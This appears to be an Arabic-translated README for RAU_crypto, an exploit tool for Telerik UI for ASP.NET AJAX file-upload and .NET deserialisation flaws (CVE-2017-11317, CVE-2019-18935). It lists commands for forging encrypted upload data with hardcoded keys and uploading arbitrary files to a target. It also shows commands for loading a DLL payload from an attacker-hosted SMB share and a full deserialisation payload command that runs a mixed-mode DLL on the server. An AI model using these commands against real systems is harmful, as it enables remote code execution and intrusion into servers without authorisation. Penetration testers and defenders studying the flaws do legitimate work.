
Telerik UI for ASP.NET AJAX استغلال رفع الملفات وإلغاء التسلسل في .NET (CVE-2017-11317, CVE-2017-11357, CVE-2019-18935)
استغلال مدمج لـ Telerik UI لـ ASP.NET AJAX.
الآن يدعم اختبار قدرة الهدف على جلب الحمولات عن بُعد من خدمة SMB يستضيفها المهاجم. استخدم Burp Collaborator و/أو Responder لتسهيل اختبار ما إذا كانت المتطلبات الأساسية اللازمة متوفرة.
لكي يعمل الاستغلال، تحتاج عموماً إلى إصدار يحتوي على مفاتيح مضمّنة hard coded keys، أو تحتاج إلى معرفة المفتاح، على سبيل المثال إذا كان بإمكانك كشف محتويات web.config. يسمح الاستغلال أيضاً بتشفير وفك تشفير مباشر لـ rauPostData المستخدم مع Telerik.Web.UI.WebResource.axd?type=rau
pip3 install pycryptodome أو pip3 install pycryptodomexمن المحتمل أن يكون استغلالي الآخر لـ Telerik UI (لـ CVE-2017-9248) محل اهتمامك أيضًا. وهو متاح هنا:
ملاحظة - العناصر الأربعة الأخيرة مكتملة ولكن لم يتم إصدارها.
اكتشف آخرون ثغرة رفع الملفات (CVE-2017-11317)، وأعتقد أن الفضل يعود إلى @straight_blast @pwntester @olekmirosh. بعد فترة وجيزة من الإعلان عنها، صادفت مكتبة Telerik أثناء عملي، لذا بحثت فيها وفي الثغرة وكتبت هذا الاستغلال في يوليو 2017. كما أبلغت عن CVE-2017-11357 المتعلقة بمرجع الكائن المباشر غير الآمن.
اكتشف @mwulftange ثغرة إلغاء تسلسل .NET (CVE-2019-18935).
https://www.telerik.com/support/kb/aspnet-ajax/details/allows-javascriptserializer-deserialization
$ ./RAU_crypto.py -h
RAU_crypto by Paul Taylor / @bao7uo
CVE-2017-11317, CVE-2019-18935 - Telerik RadAsyncUpload hardcoded keys / arbitrary file upload / .NET deserialisation
Usage:
Decrypt a ciphertext: -d ciphertext
Decrypt rauPostData: -D rauPostData
Encrypt a plaintext: -e plaintext
Generate file upload rauPostData: -E c:\\destination\\folder Version
Generate all file upload POST data: -p c:\\destination\\folder Version ../local/filename
Upload file: -P c:\\destination\\folder Version c:\\local\\filename url [proxy]
Generate custom payload POST data : -c partA partB
Send custom payload: -C partA partB url [proxy]
Check remote SMB payload capability -r lhost url [proxy]
Load remote SMB dll payload -R lhost/share/mixed_mode_assembly.dll url [proxy]\n\n" +
Trigger local uploaded dll payload -L c:/users/public/documents/mixed_mode_assembly.dll url [proxy]\n\n" +
Example URL: http://target/Telerik.Web.UI.WebResource.axd?type=rau
Example Version: 2016.2.504
Example optional proxy: 127.0.0.1:8080
N.B. Advanced settings e.g. custom keys or PBKDB algorithm can be found by searching source code for: ADVANCED_SETTINGS
$
Decrypt screenshot
Upload screenshot
للحصول على تفاصيل حول الحمولات المخصصة لإلغاء تسلسل .NET، هناك مقال رائع بقلم @mwulftange، مكتشف هذه الثغرة، على مدونة Code White في الرابط التالي.
تحديث - يوجد استغلال بديل بقلم Caleb Gross @noperator، يدمج ميزات من هذا الاستغلال، مع مقال رائع في مدونة يشرح كل شيء. شكر أيضًا لكالب على مساهمته في RAU_Crypto.
روابط أخرى ذات صلة.
مثال على حمولة إلغاء تسلسل .NET:
$ ./RAU_crypto.py -C '{"Path":"file:///c:/users/public/documents/mixedmode64.dll"}' 'System.Configuration.Install.AssemblyInstaller, System.Configuration.Install, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a' http://target/Telerik.Web.UI.WebResource.axd?type=rau
بالنسبة لملف DLL بنمط مختلط، راجع مستودع GitHub الآخر الخاص بي:
شكر خاص لـ @irsdl الذي ألهم ميزة الحمولة المخصصة.
الفضل يعود إلى @rwincey الذي ألهم ميزة dll عن بُعد.